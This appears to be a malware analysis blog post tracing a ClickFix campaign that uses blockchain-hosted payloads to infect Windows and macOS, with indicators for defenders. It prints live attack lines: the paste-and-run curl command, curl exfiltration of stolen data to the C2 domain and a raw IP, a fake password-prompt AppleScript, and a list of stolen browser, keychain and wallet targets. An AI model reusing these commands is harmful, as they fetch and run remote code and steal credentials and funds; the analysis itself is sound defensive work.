← Back to list

Inside a Blockchain-Hosted Malware Campaign Targeting Windows and macOS

Disclaimer

AL QUDRI · 2026-06-12 08:31 · 0 claps · 8.2 min read
#reverse-engineering #malware
Open on Medium ↗
Wiki topics: CRY · Crypto & Web3 MKT · Marketing · General 🔒 · Cybersecurity

Inside a Blockchain-Hosted Malware Campaign Targeting Windows and macOS

Image 1: Malware

Image 1: Malware

Disclaimer

This article documents malicious content that was observed being served through the domain jktgadget.com during the course of this investigation. At the time of writing, I do not have evidence that the website owner or operator was intentionally involved in this activity.

It is possible that the website was compromised, abused by a third party, or affected through its advertising, plugin, or content delivery infrastructure. The findings presented in this article focus solely on the malicious content and infrastructure that were observed during analysis and should not be interpreted as an accusation against the website owner or organization behind the domain.

If additional information becomes available, this article will be updated accordingly.

This article began when I was looking for a reasonably priced Mac mini in Indonesia. As usual, I opened Google Shopping and searched for “Mac Mini M4,” and several results appeared. There were several options available, but my bargain-hunter instincts immediately noticed a listing that seemed to fit my budget.

Image 2: Product Listing

Image 2: Product Listing

I clicked the product listing, which redirected me to jktgadget.com. Instead of a normal product page, I was presented with a CAPTCHA screen. What stood out was that it was unlike any CAPTCHA I had seen before.

Image 3: Captcha View

Image 3: Captcha View

The instructions looked suspicious, so I followed them only partially. I pressed Ctrl+V to inspect the contents, but I deliberately did not press Enter to prevent the command from executing.

Image 4: payload from the web

Image 4: payload from the web

With the initial infection vector established, we can now examine the malware’s technical implementation. Now that the background is covered, we can focus on the technical aspects of this malware and analyze them step by step.

Malicious Script

Image 5: Sequence Diagram

Image 5: Sequence Diagram

We found a malicious script on the page that displays a CAPTCHA message. The script is Base64-encoded. Before being encoded, it was also obfuscated using Obfuscator.io. We successfully deobfuscated it for analysis.

async function load_(contractAddress) {
  // ABI selector 0x6d4ce63c == retrieve()
  const rpc = { method:'eth_call',
    params:[{ to:contractAddress, data:'0x6d4ce63c' }, 'latest'],
    id:97, jsonrpc:'2.0' };
  const resp = await fetch('https://bsc-testnet-rpc[.]publicnode[.]com/',
    { method:'POST', body:JSON.stringify(rpc) });
  const hex = (await resp.json()).result.slice(2);
  // ...manually ABI-decode the dynamic-string return value...
  return /* base64 text stored in the contract */;
}

load_('0xA1decFB75C8C0CA28C10517ce56B710baf727d2e')
  .then(b64 => eval(atob(b64)));   // ← the next stage runs here

This malware uses the blockchain as a payload distribution mechanism. The smart contract on BSC Testnet acts as a storage container for the payload used in the next stage of the infection chain (0xA1decFB75C8C0CA28C10517ce56B710baf727d2e).

For those wondering why the attacker uses the blockchain to store payloads: BSC Testnet is inexpensive to use and makes payload removal more difficult because payloads are stored on a decentralized ledger rather than on a traditional web server.

Environment Checking

Image 6: Sequence Diagram

Image 6: Sequence Diagram

Still inside the browser, this malware will check which browser the user uses to access the page, which OS it runs on, whether it runs on localhost, and whether it is a headless browser.

const isHeadless = /* webdriver, HeadlessChrome, PhantomJS,
                      Puppeteer, Playwright, 0×0 window… */;
const isLocalhost = /* localhost, 127.0.0.1, 192.168/10/172.16… */;

if (isHeadless() || isLocalhost()) {
  console.log("stop watching us :)");          
} else if (isWindows) {
  load_("0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff");  // Windows branch
} else if (isMac) {
  load_("0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5");  // macOS branch
}

At this stage, we can see that the campaign specifically targets two platforms: Windows and macOS.

ClickFix

Image 7: Sequence Diagram

Image 7: Sequence Diagram

The attacker uses a social engineering technique known as ClickFix. The victim is presented with a fake CAPTCHA interface that silently copies a malicious command to the clipboard and prompts the user to paste and execute it in a terminal.

Image 8: Instruction from clickFix

Image 8: Instruction from clickFix

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '${usr_id}.geotechnictahuni[.]store/?ublib=${uuid__}')";
echo ""BotGuard: Answer the protector challenge. Ref: 73282

Persistance

Image 9: Sequence Diagram

Image 9: Sequence Diagram

When the URL is accessed directly, the server returns a plain-text response:

Image 10: Real payload from the malware

Image 10: Real payload from the malware

After decoding the response, I discovered the following:

Image 11: Decoding process

Image 11: Decoding process

Yes, it's a .plist file. This file creates a LaunchAgent that ensures the malware executes whenever the user logs in.

~/Library/LaunchAgents/com.tdfdvhvcclmkmgil.plist
   Label:      com.tdfdvhvcclmkmgil        ← randomized per build
   KeepAlive:  true     (restarts if you kill it)
   RunAtLoad:  true     (runs at every login)
   Program:    /bin/bash -c "echo '<base64>' | base64 -d | osascript"

What makes this malware interesting is that the C2 domain is not hardcoded; it is dynamically fetched using the ABI selector 0x2686ecea and the contract address 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0, resulting in hf98x4d[.]site being used as the active C2 domain.

So the architecture uses two chains for two jobs: BSC Testnet hosts the browser-stage payloads, and Polygon Mainnet stores the current C2 hostname. Polygon Mainnet stores the current C2 hostname. In theory, the operator can migrate the infrastructure by updating a single value in the contract, which infected hosts retrieve during subsequent beaconing activity.

Loader

Image 12: Sequence Diagram

Image 12: Sequence Diagram

From the persistence stage, we extracted the C2 domain. We then replicated the malware’s behavior and sent the same request to the server:

POST hf98x4d[.]site/  →  txid=...&task   →   "runloader"

[embed]

The bmodule beacon also handles the single most important step for a stealer: getting your macOS password. It pops a dialog that impersonates a System Preferences prompt:

display dialog
  "To run the application you need to change the settings for its operation." & return &
  "Please enter password for continue:"
  default answer "" with icon caution buttons {"Continue"}
  default button "Continue" with title "System Preferences" with hidden answer

Image 13: fake System Preferences diallog

Image 13: fake System Preferences diallog

Image 14: applescript

Image 14: applescript

This is not a real macOS authorization prompt; there are no administrator privileges, no SecurityAgent. It is a plain phishing dialog. But it validates what you type by running:

do shell script "dscl . authonly " & quoted form of username & " " & quoted form of entered_password

If dscl rejects the password, the dialog reappears and continues prompting the user until the correct password is entered. The password is then written to ~/.passphrase and exfiltrated. Users may eventually enter their legitimate password to dismiss the repeated prompts, allowing the malware to capture and exfiltrate the credentials. That password then unlocks the login keychain.

Stealer

Image 15: Sequence Diagram

Image 15: Sequence Diagram

I also discovered a second dynamically loaded module named smodule. From our observations, this module is specifically designed to harvest credentials and other sensitive information. It targets:

  • 150+ cryptocurrency wallet browser extensions, by hard-coded extension ID. MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn), Phantom, Coinbase, Trust, Rabby, OKX, Keplr, Exodus, Atomic, Backpack, Ledger’s browser connectors… the list reads like the entire Web3 ecosystem.
  • The malware targets Chromium-based browsers, including Chrome (Stable, Beta, Canary, and Dev), Edge, Brave, Opera, and Vivaldi, harvesting cookies, login data, web data, browsing history, and the Safe Storage keys required to decrypt them.
  • Firefox profiles -key4.db, logins.json, cookies.sqlite, cert9.db.
  • Safari -Cookies.binarycookies, copied into a staging folder at ~/tempFolderC/.
  • The macOS login keychain itself - ~/Library/Keychains/login.keychain-db.
  • Password managers - Apple Passwords, Bitwarden, Proton Pass, and Sticky Password.
  • Telegram Desktop - the entire tdata/ session directory (account takeover without a password).

Everything is bundled and shipped out:

ditto -c -k --sequesterRsrc <loot_dir> /tmp/<40-hex-hash>.zip
-- primary exfil (HTTPS):
curl -F txid=... -F file=@<zip> https://hf98x4d.site/upload.php
-- backup exfil (PLAIN HTTP, raw IP):
curl -F txid=... -F file=@<zip> http://62.60.226.0/upload.php

Note the dual exfiltration channels: HTTPS to the domain and plain HTTP to a hard-coded IP address (62.60.226.0). If a network filters or breaks the HTTPS path, the loot still escapes over the raw-IP fallback.

Trojan

If the operator sends replacer, a small (1.2 KB) bash module performs a quiet supply-chain-style swap on the already-installed hardware-wallet app:

  1. Check /Applications/Ledger Wallet.app exists; exit if not.
  2. Compare the binary’s MD5 to a known value; skip if already trojanized.
  3. pkill any running Ledger process.
  4. Download the Trojan disk image. https://hf98x4d.site/assets/L.dmg (22 MB, MD5 b1b9e285dd7b84512e9949bb2bebcb64).
  5. Mount it and cp -R the malicious app over the real one.

The next time the victim launches the application, it appears identical to the legitimate version, but they are actually running the attacker’s modified build, which is designed to capture the seed-phrase/recovery-phrase entry.

Domain Rotation

The malware includes domain-rotation functionality, allowing the operator to quickly replace infrastructure whenever a domain is blocked or taken down.

I have monitored this change; in 24 hours, it's already 30 domain changes for this malware.

(This table will be updated periodically)

  TRACKED DOMAINS SUMMARY
  Domain                              Status       First seen   Source
  ─────────────────────────────────────────────────────────────────
  garatequran.xyz                     DEAD         2026-06-10   macos_drop
  gavaedfagahe.xyz                    LIVE         2026-06-11   macos_drop
  geotechnictahuni.store              DNS_ALIVE_HTTP_DEAD 2026-06-11   macos_drop
  hf98x4d.site                        LIVE         2026-06-10   c2_hostname
  hugugbime.xyz                       DNS_ALIVE_HTTP_DEAD 2026-06-11   windows_drop
  hugugdaryayi.xyz                    DNS_ALIVE_HTTP_DEAD 2026-06-11   windows_drop
  hugugedari.xyz                      DNS_ALIVE_HTTP_DEAD 2026-06-11   windows_drop
  hugugmadani3.xyz                    DNS_ALIVE_HTTP_DEAD 2026-06-11   windows_drop
  hugugmadani6.xyz                    DNS_ALIVE_HTTP_DEAD 2026-06-11   windows_drop
  lincoplus.xyz                       DNS_DEAD     2026-06-12   windows_drop
  questionstest.xyz                   LIVE         2026-06-11   macos_drop
  qurandownload.xyz                   LIVE         2026-06-11   macos_drop
  ravanshenasiganji.xyz               DNS_ALIVE_HTTP_DEAD 2026-06-11   macos_drop
  ravanshenasinovin.xyz               DNS_ALIVE_HTTP_DEAD 2026-06-12   macos_drop
  ravanshenasisaeedi.xyz              DNS_ALIVE_HTTP_DEAD 2026-06-12   macos_drop
  sadreislam.xyz                      LIVE         2026-06-12   windows_drop
  sakhtemandade.shop                  DNS_ALIVE_HTTP_DEAD 2026-06-12   windows_drop
  sanjeshravani.shop                  DNS_ALIVE_HTTP_DEAD 2026-06-12   windows_drop
  sanjeshvaandazegiri.shop            DNS_ALIVE_HTTP_DEAD 2026-06-12   windows_drop
  sazebetonarme.xyz                   DNS_ALIVE_HTTP_DEAD 2026-06-12   windows_drop
  sazehayefooladi.xyz                 DNS_ALIVE_HTTP_DEAD 2026-06-12   macos_drop
  shimiskoog.shop                     DNS_ALIVE_HTTP_DEAD 2026-06-12   macos_drop
  shimiumumi.xyz                      DNS_ALIVE_HTTP_DEAD 2026-06-12   macos_drop
  tarikhcheravanshenasi.xyz           DNS_ALIVE_HTTP_DEAD 2026-06-12   windows_drop
  tarikhravannovin.shop               DNS_ALIVE_HTTP_DEAD 2026-06-12   windows_drop
  tasisathosseini.shop                DNS_ALIVE_HTTP_DEAD 2026-06-12   windows_drop
  testpaye.xyz                        LIVE         2026-06-12   windows_drop
  vajename.xyz                        DNS_ALIVE_HTTP_DEAD 2026-06-12   macos_drop
  vanatarsim.xyz                      DNS_ALIVE_HTTP_DEAD 2026-06-12   macos_drop
  zabanenglishanari.xyz               DNS_ALIVE_HTTP_DEAD 2026-06-12   macos_drop

  Total rotations ever recorded : 30
  Timeline entries              : 30
  Evidence files                : 330

Behaviour

macOS

  • A LaunchAgent whose ProgramArguments base64-decodes an inline blob and pipes it to an interpreter... | base64 -d | osascript (or | sh, | bash). Legitimate software rarely uses this pattern, making it a high-confidence indicator of malicious activity.
  • The marker pair **~/.passphrase + ~/.txid** in the home directory.
  • A staging dir **~/tempFolderC/** containing Cookies.binarycookies.
  • A loot archive named as a long hex hash in /tmp (/tmp/<40+hex>.zip) and a /tmp/updstat.txt status file.
  • **/Applications/Ledger Wallet.app* — The legitimate desktop app is named Ledger Live*, not “Ledger Wallet.”
  • Your shell history contains curl -A 'Mac OS X 10_15_7' … ?ublib= the BotGuard lure text — proof the ClickFix paste was run.
  • A live process performing dscl . authonly in a loop, or eth_call JSON-RPC from a non-browser process.

Windows (shared-campaign / ClickFix TTPs)

  • A Run-dialog (Win+R) MRU entry — HKCU\\…\\Explorer\\RunMRU — containing powershell, curl, mshta, FromBase64String, or a drop domain. That is the Windows ClickFix paste artifact.
  • Randomized Run-key / scheduled-task persistence launching an encoded PowerShell downloader.
  • PowerShell **ConsoleHost_history.txt** containing the drop domain or ?ublib=.

Network / on-chain

  • eth_call traffic to the campaign contracts on .publicnode.com (BSC testnet) and Polygon RPCs from endpoint hosts that have no business doing Web3.
  • Connections to the drop/C2 domains and 62.60.226.0.

IOC

[embed]


메타데이터
post_id
f5bcdeffed66
slug
inside-a-blockchain-hosted-malware-campaign-targeting-windows-and-macos-f5bcdeffed66
url
https://medium.com/@abekweng/inside-a-blockchain-hosted-malware-campaign-targeting-windows-and-macos-f5bcdeffed66
canonical_url
https://medium.com/@abekweng/inside-a-blockchain-hosted-malware-campaign-targeting-windows-and-macos-f5bcdeffed66
author_url
https://medium.com/@abekweng
status
ok
fetched_at
2026-06-14 11:28:49